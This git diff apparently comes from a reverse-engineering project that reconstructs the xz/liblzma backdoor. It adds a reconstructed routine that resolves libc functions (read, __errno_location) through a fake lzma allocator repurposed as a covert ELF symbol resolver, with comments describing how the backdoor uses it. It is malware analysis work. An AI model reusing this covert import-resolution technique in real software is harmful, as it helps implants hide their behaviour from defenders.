diff --git a/xzre.h b/xzre.h index 3b1e074..87bc4c6 100644 --- a/xzre.h +++ b/xzre.h @@ -3894,6 +3894,15 @@ static_assert(sizeof(fake_lzma_allocator_offset) == 0x8); extern fake_lzma_allocator_t fake_lzma_allocator; static_assert(sizeof(fake_lzma_allocator) == 0x20); +/** + * @brief lzma_alloc function, used by the backdoor as an ELF symbol resolver + * the @p allocator 's opaque field must point to a parsed @ref elf_info_t + * + * @param size the encoded string ID of the function to resolve + * @param allocator the fake lzma allocator referring to the @ref elf_info_t to search into. + */ +extern void *lzma_alloc(size_t size, lzma_allocator *allocator); + /** * @brief special .data.rel.ro section that contains the offset to elf_functions * diff --git a/xzre_code/CMakeLists.txt b/xzre_code/CMakeLists.txt index 470f040..d181105 100644 --- a/xzre_code/CMakeLists.txt +++ b/xzre_code/CMakeLists.txt @@ -14,6 +14,7 @@ add_library(xzre_code fake_lzma_free.c find_function.c main_elf_parse.c + resolve_libc_imports.c rsa_key_hash.c run_backdoor_commands.c secret_data_append_from_address.c diff --git a/xzre_code/resolve_libc_imports.c b/xzre_code/resolve_libc_imports.c new file mode 100644 index 0000000..5dda646 --- /dev/null +++ b/xzre_code/resolve_libc_imports.c @@ -0,0 +1,25 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" +#include + +BOOL resolve_libc_imports( + struct link_map *libc, + elf_info_t *libc_info, + libc_imports_t *imports +){ + lzma_allocator *resolver = get_lzma_allocator(); + if(!elf_parse((Elf64_Ehdr *)libc->l_addr, libc_info)){ + return FALSE; + } + resolver->opaque = libc_info; + imports->read = lzma_alloc(STR_read, resolver); + if(imports->read) + ++imports->resolved_imports_count; + imports->__errno_location = lzma_alloc(STR_errno_location, resolver); + if(imports->__errno_location) + ++imports->resolved_imports_count; + + return imports->resolved_imports_count == 2; +}